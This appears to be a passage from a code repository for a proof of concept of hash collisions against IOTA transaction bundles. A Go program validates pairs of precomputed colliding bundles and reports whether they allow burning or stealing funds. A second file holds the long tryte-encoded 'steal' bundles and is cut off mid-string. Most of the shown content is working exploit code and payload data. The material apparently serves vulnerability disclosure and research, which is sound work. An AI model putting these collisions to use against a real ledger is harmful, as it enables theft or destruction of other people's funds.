shortcol() 91 | 92 | -------------------------------------------------------------------------------- /examples/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/iotaledger/giota" 7 | ) 8 | 9 | func bundleFromTrytes(trytes []string) giota.Bundle { 10 | txns := make([]giota.Transaction, len(trytes)) 11 | for i := 0; i < len(trytes); i++ { 12 | tx, err := giota.NewTransaction(giota.Trytes(trytes[i])) 13 | if err != nil { 14 | panic(err) 15 | } 16 | txns[i] = *tx 17 | } 18 | return giota.Bundle(txns) 19 | } 20 | 21 | func validate(txns giota.Bundle) bool { 22 | h := txns.Hash() 23 | for i := 0; i < len(txns); i++ { 24 | // The golang code doesn't check as much as the java code. 25 | // Reproduce some checks here. 26 | 27 | // Check to make sure bundle hashes are valid 28 | if txns[i].Bundle != h { 29 | fmt.Printf("Invalid transaction %v bundle hash %v\n", i, txns[i].Bundle) 30 | return false 31 | } 32 | 33 | // check timestamp not too early. Note IOTA uses 1502226000 34 | // after the upgrade; this bundle is pre-upgrade. 35 | if txns[i].Timestamp.Unix() < 1497031200 { 36 | fmt.Printf("Invalid transaction %v timestamp %v\n", i, txns[i].Timestamp) 37 | return false 38 | } 39 | // check nonce (proof of work; main tangle requires >= 15) 40 | if !txns[i].HasValidNonce(15) { 41 | fmt.Printf("Invalid transaction %v nonce for weight 15 %v\n", i, txns[i].Nonce) 42 | return false 43 | } 44 | // check value only in 33 trits: 45 | // https://github.com/iotaledger/iri/blob/dev/src/main/java/com/iota/iri/TransactionValidator.java#L77 46 | vtrits := giota.Int2Trits(txns[i].Value, 81) 47 | for t := 34; t < 81; t++ { 48 | if vtrits[t] != 0 { 49 | fmt.Printf("Invalid transaction %v value %v\n", i, txns[i].Value) 50 | return false 51 | } 52 | } 53 | } 54 | if err := txns.IsValid(); err != nil { 55 | fmt.Println(err) 56 | return false 57 | } 58 | return true 59 | } 60 | 61 | func main() { 62 | bundle0 := bundleFromTrytes(BURN_BUNDLE0) 63 | bundle1 := bundleFromTrytes(BURN_BUNDLE1) 64 | if !validate(bundle0) || !validate(bundle1) { 65 | return 66 | } 67 | 68 | if bundle0.Hash() == bundle1.Hash() && bundle0[3].Address != bundle1[3].Address { 69 | fmt.Println("Collision! Can burn funds") 70 | } 71 | 72 | bundle0 = bundleFromTrytes(STEAL_BUNDLE0) 73 | bundle1 = bundleFromTrytes(STEAL_BUNDLE1) 74 | if !validate(bundle0) || !validate(bundle1) { 75 | return 76 | } 77 | 78 | if bundle0.Hash() == bundle1.Hash() && bundle0[5].Value != bundle1[5].Value { 79 | fmt.Println("Collision! Can steal funds") 80 | } 81 | 82 | } 83 | -------------------------------------------------------------------------------- /examples/steal_bundles.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | var STEAL_BUNDLE0 []string = []string{ 4 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999ROQDJLWUDUXBKHJ9PNUPEBYLSJTSAT9RCKFVTCJFDUKHZJUDSSTELTIRA9DHKPUZTGSHAZNJKOFFKAXXPWPOC99999999999999999999999IOTFORALL999999999999999999QONOPXD99999999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNGGJJRHED9WMQCZEOBLKEKVZCUO9XMEPLEZGSLRBATHHTCHRPKLHGLXUWCD9YQMZ9HUNJHXMTEOHB99999999999999999999999999999999999999999999999999999999999999999999999999999999999999CJHXQRHLAIHHRVEBB9DWBFYQSTTTDYUAPXXFRNEFWYCKHWJRIVH9VIZZJXMKVJEFVEIOWSSQJFVVRMBKE", 5 | "NERRCOH9XVVNR9JAXBWBJMIENNZUVOCSRD9FUZBFCF99YAEG9CQZOFFUECKVEJTCKTAQFGACMXUVAFPERBQOMDGTSSSTNCXZHHBQSNOEAAMDCYNVJLDUI9OQUJAPPRRPIHGGBVHLSAENATYL9T9JSUXRZOEGKNSMVD9TQDFMYUAFVMUNXRCPQYDOG9SYFEE9DBYI9JZFXFKMITHVSPAXAATGOGGFFULTQLZGEIBHZFFCLOZVQCKMCGFSDUOGBLLQILJ9LIUU9VRTXKLOFFIIBTFFMIIRVRLRSTDLEPMWDVDPXGYWILHVDJ9YHYSYTLHFIXWGDGJEOTFRXPSZOHTI9GJXTXRWPJCURZZWVQDAXLYCYHJHQNECPDQHXGBQTJPQNLPLIUZSILFW9DOPI9WYQWGPEWTTIOFJOBAVZNDHH9PIADULXTMJ9DLDUPAWUGWZOFLZXGWJITUIQEBUHBKWWIDOOHMELWPUAPCCGOEFPRYVXYNERCZWZTZNBYXGLCTZNXCXNSFAJEHTHCIELCEULXHFXALCPLSDRLABPJXFJRSJSBMCHZ9LPSGHIMZLFUOKMLKBDNTKYZHHKWFKUQWDSJLOFGSXFQTMKCKZDWGLWYFRUCIVTGAQZPTK9GALHABNBTPEAUMSBNOVNKKTEKRKYSHPVBCISD9OT9KXUWATMD9IEZMJTAZUZIWIE9ZIULBYUFNXJCRMYZTVSDIFNNCHYTYWCEAUKJSVVQCFDAHRUBHWMWYKTKSSILSPZIHUTSEMIPYKENRSFG9AWIVPRW9TSGQM9YIHKZXX9ZPFXAQG9TTUMACUDGLF9KWSADOQNTHHZ9PV9KPKWOPGIVJKFOKSHIAYMMUPSLBXMEGSJUUFDYGPVDVJFTKN9EFINBPTYDLOBRTAHVDJSPYUYRRAAZCPLNXEAJJJWCHWHMXRIYEXAVSLOMPOVNRXKPTMZENZO9ACQLAVQBZNTGASYYSCVVCIFNJXBCJFE9DOLIS9KHSOQHLMPEMFVILZRBEV99WOCKMQGXIQYYVLRDLJOOHOQHFZEXZJJIDBBRPPOGIADPNFGYMCIFWTQYIQTAQOFQOEUHJIKEWLHVYNFYQRNGBVAITMNGFYKFZKPWKMTPDATUGGIKOWIKIRVTNOPEPKAAWHM9MIUTNSTKQAAGOVSFQITCLVNCRMMEAHPBDXVP9L9IQKPPVAPA9WJQSNYDHRMUXJOFRZKHEWHFWCIZYXYWQBVPKOGJNKSACCJRNAWFKUHPFIPCNFUINKGJPPKCNEHSFJBFTXMGCIPDBPIKSBBQTEPL9LLNCJIYIKXPNAHZCP9WHFFEELQCKBNFKUPXFWDJINAHEZZCWUTPMHVMREAKBGPVCEQZCAIPSCJNHUIKUBHSGVFQ9HTMFTHRKNHKVEYCQGRQADCREOLVAOK9OMUKCFBUZDHFGJWTYNOWZYWRYVQJHVSRPPOEHJIBJILMXI9EPWUDVCKQZWWNDUGPPTTOVHNCW9GCGFSXHMJQXUFYZZUCNUCUWLZORAYLHTLITDCFCDLSLVGT9FXSCXXJBIZCNKYIAMSNKSEDMBURXHTADAAYBZJIKYVYQTCHQBMYVEWCJFZDDCOBLDJDBCXFSXFMNMMRHJODCKXFBIOWTPRBXDFRHXRANNDXIXMELKOJRXNLJDJPYSSZU9TDXWRVCXTOCHMEIZVXVBSIZYTHCECNYTDYLJ9UA9KFQFLGNJIMVPPHQLLZFUWMJBLZCNROYMEBCJWOXOPJNIPXBCODTXGQIV9IBMEMOFRFSWIVVFCTESZSZKCRMDIXTUGVLWKXBECYOIDL9SFMREISVZGVRTVOXBXBVMAUBYWNOUILNYBEVFSFBSTETA9TBXBPDYLQ9JNDGWGPLACPGIMLSWOOTGUDTPU9SRVFJETLIHEWTBJHXCPQDROADBXB9KVXK9WWQPKLXS9PJE9JGGT9H9XWQURBLDBSEUMZVCVZMSVAPGEFMBZJIYSTYGXCFICHSZPL9CWAKCJZLPMNBRDTFLJRYQZSGERDLWWRLBTDD9HTEIPYYUSYDJKF9NMXUJXPPYJFDCEEQGJGPIBZV9EBBZANJMTMIUSCWOLUBDTZTAVYK9JBQSG9CT9HYYZXNOWFNTOSDDBPPWGXCXHSZFXCBLACZBJTHYWSQVMXWJMKCSAMGRFWGAB9UDHUUSBXOGNAHEGNXUBUWDAFWZFWVDIQBTBALLKSQPEFPWGWZKYDO9QWB9FHQMOAONYMQU9AQOOJHDJCWGXBIOJGFQKGSSOFQNZLBSOPY99999999999999999999IOTFORALL999999999999999999QONOPXD99A99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNWBOAOQ9BHYZ9CCMNHCFCQFJYR9BHLQE9BER9BGZUVXLMWLMGIVXRQGRUSFAYZFBTKVTQWWDEIFCV99999999999999999999999999999999999999999999999999999999999999999999999999999999999999XWLLBTYKWXYECPTHKLODD9SMCWWHFSYPP9SISSTYAHCSWTTHGIU9ZDSURAGHZSMOCD9UFXLONCPPEPROK", 6 | "AZZOAMZUHGXDUOIHRAUMIHKXGGHHEQQMIWC9YJEOBBSGHSPAEOMETB9KJYWY9JAAIBATGBLJKSGOJRESIEGGCOECHJUUDSNAHRM9IIXXGNMTEMKDYW9RVWNDDLMGYWFZGLSXNXXHAKRHKXCKQBHLHTYGICBUS9IBSDPACFSKIXLBMGU9FLFLWNFEVDACHZYBOGNEYHUAWLEOFPUTYFHAKXKI9THRPSJHJSKLMNRSNHOAULXJUVEENI9IVYFWGSPUALPGHPSIIZGAQTMZOLUIT9IGINEPOOWRQDMWY9XIPWCXAVLFXVCZEPBKZVMGQY9REKFNFUYSCIYV9KSJVOYRMGERHSOWJZGLKFHPYUECGMNJHUVTOPHVGPPQBRTQEQHTBQRLUAYXAXUFCSAHZKXZJR9SYNTMTLGDV9MEQACYCRF9BRVUKXTD9GMOYIIMPMNFPLTTNQYOPRBCBKIKZBESRYDTRUS9SWATWDBGQKHOLCRM9PUPBENELJREFFJLUDVZNMPIFTALJQLMFMRTUUKQWGQTZAMOOOSLEJQIZEHEXZWYRYXPVUGZERAHPGNLLAIYRYIOMZT9ZHPGYWWJOUHLTLZYUGEQNYMUXZVKSYCGUZFGOPZONKNFZJNXVICANRULRH9LWD9W9CPQE9NZJHPTCSDEMKOSLMDFYAEFYLTNYJOT9XNQVQYEFCNTOCKYRGTGCFYFTXXFMGXNTUDWIESCQKJYUJF9JSHLI9YEEGZKHE9LPJGGZMMHFSGOMRKGXVUDNNERHWVRMAIFY9YQJHAUCLTPBBHBMJUCCIPYGUDPIVTYJWNRPGKL9HGTUNZDGGTMWUMXEOMQM9FN9DLURPNRPFLYZRDLGHGAQUUGMRFODBFBBGXSAQYEEFASHDDSMQVNGKY9QWBPRAHLVKRDFVZBTTBAFLZUUHY9RCRVAVTELVKSVPBETWDSBYDBZHOQWOKHLGWCNMQINDMGICZIFNOCPXBZQVTUSPZHJFFSH9UOAJ9XNHSZAMEXKVXIAVGLQZABT9UPDXLMYZCVWRVYHMPHYDTCDATCIPLCEKTXHXCAPGLTEYGCMBQQTSBVGOIRVAJKKZVNIOYPWDPDSIQVEHUNFRJMJXGREBBNDRGEXYTGMEQPONAVJF9LUQKCTKUXLM9VUMVRBPPRJWXPDNGTBW9VLMIQVNCVSHLFTD9CLTCYBXNYTXMJEAA9YRVBTMDVKFSEYBFWBFEORSUCDSX9ARMLOTZKMQTLTWNRKXPBBMXRPVVGEHMYJBNVNPNCQDSGZFSCXXQMOUMSIXUQQAWKBDQQVFUCMFGNJLCZELGVXTKVYSFEZZHJGZJLNPHYXHKBW9P9LVFUDRHFPVOI9LWCZPYXMSCDSWNHHNYYSHUMCNQQRXIHKUOETNTLKBVBQOPM9VFHJAEZGMOBAAYKDLKEMPOWJLATXJFORBKMGQWCNIVFXWTMC9CQIQPPBLRHYQZYLFPBMJPGINRRWNUEKVXIDSKZZREEECKUWXBPVASH9HAQBTSYPCSDKCNVSPM9TEOLOBPCTBUUZRKOFIYCFAAYYPERRNOTDLCJBPIWVCPNSDQLZEUHVTAAHJHAXV9RRO9PSWBHJUUJHDCDRLTZKJOCXZNFQLRNNDRMNXNRFIKNEQRJMZZUJCCCEXNRSHQAEIAXLDQJMUFICNOELTHELM9AFA9WVITFB9XDYBIEQRVVOVHXOWLZNIWPGEUZXOHFFCBNLSADMWKIRRJGMFKSVSEALRYRHOYDYRXQPLFPJLUYRBUFSALRJQB9VGJGGNVPNEOGTCSXCFTQCFBIQOUCTRCKSHPJYGXVOGKZFUID9UTNTHHHPUZOUGBTRDIJDJYAFLSGZNQQ9MKDBXSRVBVLYXHUAOIQSVUMXXYCTMBAI9MNAUFGSYISCWUSKUPOVNPSTTO9ZS9LONAKNEIIGOENLXOZXGGQJZKANFSRF9FKWZHHKWQKNILFRAKXPZSVTBRIZAWUSFDQM9LQZUFAOIPPBJUSWCQKSVNMXKWQLGEMCEBGCUKWKPHZLHHEVGVJUSXVJZZALDWQMANSRSQDILGIFTFV9KAQHDPW9WIEBANTXQUSDOHDDVZMDAXJVUA9JQQBHYBWHTUTCFZI9SSYFRSPQTKLFODJHQOZDWFSN9KKSBT9NVPUXLVLE9KP9MOFVFOOQFLZJTHCJXEPWGYBIPXUBUWDAFWZFWVDIQBTBALLKSQPEFPWGWZKYDO9QWB9FHQMOAONYMQU9AQOOJHDJCWGXBIOJGFQKGSSOFQN999999999999999999999999999ERPFQGKONFCGJPBSJPWXDVDUBGZQONOPXD99B99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNESFYBVPPFCWFYBVAPPRWYWPSZCXKNJFMXHCQKFKULSXOZDXXFNO9LTIITVNTNY9OBELRKXNDHEAZ99999999999999999999999999999999999999999999999999999999999999999999999999999999999999XOMSNQHUBRSRAS9DHXTJ9UEMJOWHLPCECP9FQQOFLOWYOMSMFAWELLTU9FZ9LVHALTB9H9SNXUTFYMTCO", 7 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999VCW9RSPGJFINR9QWMSRVRLVQYRNOILXKBXTYUUPFNDMEVXIXPEYRP9CQONFEREKKQVEKVGRWMZMDI9TRZSD9999999999999999999999999LEBOSC9ZPUHTUYBZ9EKYGAPNEVZQONOPXD99C99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNFREYQNGJSZPGVTLJIAW9BBMCJMYBSNAKWZACGFSMNTUDXEDJGKTQGIKGPZXDCJNBYAJHBDJXFYHR99999999999999999999999999999999999999999999999999999999999999999999999999999999999999VPXWQRHLAIHHRVEBB9DWBFYQSTTTDYUAPXXFRNEFWYCKHWJRIVH9VIZZJXMKVJEFVEIOWSSQJFVVRMBKE", 8 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999VCW9RSPGJFINR9QWMSRVRLVQYRNOILXKBXTYUUPFNDMEVXIXPEYRP9CQONFEREKKQVEKVGRWMZMDI9TRZ999999999999999999999999999SECFRDYMDHRZBOOSWNLTZGICG9ZQONOPXD99D99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNDQFLULLKCQJFBBVNG9CEZCQSROMA9OBBBQXZFLNWVNOCRBNVQWYXALHPCQO9JNFXK9REIXIJQVGH99999999999999999999999999999999999999999999999999999999999999999999999999999999999999HG9SLQHLAIHHRVEBB9DWBFYQSTTTDYUAPXXFRNEFWYCKHWJRIVH9VIZZJXMKVJEFVEIOWSSQJFVVRMBKE", 9 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999QLBRTQLPHDMKBESFYFJWAGBRNLBKMWTXZLPRUSCYUKMOLVHTMKGUHDYSPXWPYTOVDPHOFYDADANRNSPJUMVJELKB99999999999999999999AXKFTXSHIVSILRNCDVLPIIRIGKJVRNOPXD99E99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNHBSNZETOQDJJLVUNYMPZYZAGTK9WIGPNCFBHJHEXR9UUHRFVSWUYKLXHGDRXNDRMWABAAOPBRUNB99999999999999999999999999999999999999999999999999999999999999999999999999999999999999DYRTCGIJFWAPFKZBNHSNCRXOVCSUDEUCVNXSELYDGJWUFAEZCCAIQPHJMQOWSKM9YLGPLOVSFY9FMOCQR", 10 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999QLBRTQLPHDMKBESFYFJWAGBRNLBKMWTXZLPRUSCYUKMOLVHTMKGUHDYSPXWPYTOVDPHOFYDADANRNSPJU999999999999999999999999999IOTFORALL999999999999999999QONOPXD99F99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVN999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999FAEOTRHLAIHHRVEBB9DWBFYQSTTTDYUAPXXFRNEFWYCKHWJRIVH9VIZZJXMKVJEFVEIOWSSQJFVVRMBKE", 11 | } 12 | var STEAL_BUNDLE1 []string = []string{ 13 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999ROQDJLWUDUXBKHJ9PNUPEBYLSJTSAT9RCKFVTCJFDUKHZJUDSSTELTIRA9DHKPUZTGSHAZNJKOFFKAXXPWPOC99999999999999999999999IOTFORALL999999999999999999QONOPXD99999999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNGYVEVQWYHYUNGBHA9TDAFMNRFJVL9VJYFHT9FUQNPLPEECGEIJJAVIVSPPECNIMCVITXONKQKH9Y99999999999999999999999999999999999999999999999999999999999999999999999999999999999999UCVBHQHLAIHHRVEBB9DWBFYQSTTTDYUAPXXFRNEFWYCKHWJRIVH9VIXZJXMKVJEFVEIOWSSQJFVVRMBKE", 14 | "NERRCOH9XVVNR9JAXBWBJMIENNZUVOCSRD9FUZBFCF99YAEG9CQZOFFUECKVEJTCKTAQFGACMXUVAFPERBQOMDGTSSSTNCXZHHBQSNOEAAMDCYNVJLDUI9OQUJAPPRRPIHGGBVHLSAENATYL9T9JSUXRZOEGKNSMVD9TQDFMYUAFVMUNXRCPQYDOG9SYFEE9DBYI9JZFXFKMITHVSPAXAATGOGGFFULTQLZGEIBHZFFCLOZVQCKMCGFSDUOGBLLQILJ9LIUU9VRTXKLOFFIIBTFFMIIRVRLRSTDLEPMWDVDPXGYWILHVDJ9YHYSYTLHFIXWGDGJEOTFRXPSZOHTI9GJXTXRWPJCURZZWVQDAXLYCYHJHQNECPDQHXGBQTJPQNLPLIUZSILFW9DOPI9WYQWGPEWTTIOFJOBAVZNDHH9PIADULXTMJ9DLDUPAWUGWZOFLZXGWJITUIQEBUHBKWWIDOOHMELWPUAPCCGOEFPRYVXYNERCZWZTZNBYXGLCTZNXCXNSFAJEHTHCIELCEULXHFXALCPLSDRLABPJXFJRSJSBMCHZ9LPSGHIMZLFUOKMLKBDNTKYZHHKWFKUQWDSJLOFGSXFQTMKCKZDWGLWYFRUCIVTGAQZPTK9GALHABNBTPEAUMSBNOVNKKTEKRKYSHPVBCISD9OT9KXUWATMD9IEZMJTAZUZIWIE9ZIULBYUFNXJCRMYZTVSDIFNNCHYTYWCEAUKJSVVQCFDAHRUBHWMWYKTKSSILSPZIHUTSEMIPYKENRSFG9AWIVPRW9TSGQM9YIHKZXX9ZPFXAQG9TTUMACUDGLF9KWSADOQNTHHZ9PV9KPKWOPGIVJKFOKSHIAYMMUPSLBXMEGSJUUFDYGPVDVJFTKN9EFINBPTYDLOBRTAHVDJSPYUYRRAAZCPLNXEAJJJWCHWHMXRIYEXAVSLOMPOVNRXKPTMZENZO9ACQLAVQBZNTGASYYSCVVCIFNJXBCJFE9DOLIS9KHSOQHLMPEMFVILZRBEV99WOCKMQGXIQYYVLRDLJOOHOQHFZEXZJJIDBBRPPOGIADPNFGYMCIFWTQYIQTAQOFQOEUHJIKEWLHVYNFYQRNGBVAITMNGFYKFZKPWKMTPDATUGGIKOWIKIRVTNOPEPKAAWHM9MIUTNSTKQAAGOVSFQITCLVNCRMMEAHPBDXVP9L9IQKPPVAPA9WJQSNYDHRMUXJOFRZKHEWHFWCIZYXYWQBVPKOGJNKSACCJRNAWFKUHPFIPCNFUINKGJPPKCNEHSFJBFTXMGCIPDBPIKSBBQTEPL9LLNCJIYIKXPNAHZCP9WHFFEELQCKBNFKUPXFWDJINAHEZZCWUTPMHVMREAKBGPVCEQZCAIPSCJNHUIKUBHSGVFQ9HTMFTHRKNHKVEYCQGRQADCREOLVAOK9OMUKCFBUZDHFGJWTYNOWZYWRYVQJHVSRPPOEHJIBJILMXI9EPWUDVCKQZWWNDUGPPTTOVHNCW9GCGFSXHMJQXUFYZZUCNUCUWLZORAYLHTLITDCFCDLSLVGT9FXSCXXJBIZCNKYIAMSNKSEDMBURXHTADAAYBZJIKYVYQTCHQBMYVEWCJFZDDCOBLDJDBCXFSXFMNMMRHJODCKXFBIOWTPRBXDFRHXRANNDXIXMELKOJRXNLJDJPYSSZU9TDXWRVCXTOCHMEIZVXVBSIZYTHCECNYTDYLJ9UA9KFQFLGNJIMVPPHQLLZFUWMJBLZCNROYMEBCJWOXOPJNIPXBCODTXGQIV9IBMEMOFRFSWIVVFCTESZSZKCRMDIXTUGVLWKXBECYOIDL9SFMREISVZGVRTVOXBXBVMAUBYWNOUILNYBEVFSFBSTETA9TBXBPDYLQ9JNDGWGPLACPGIMLSWOOTGU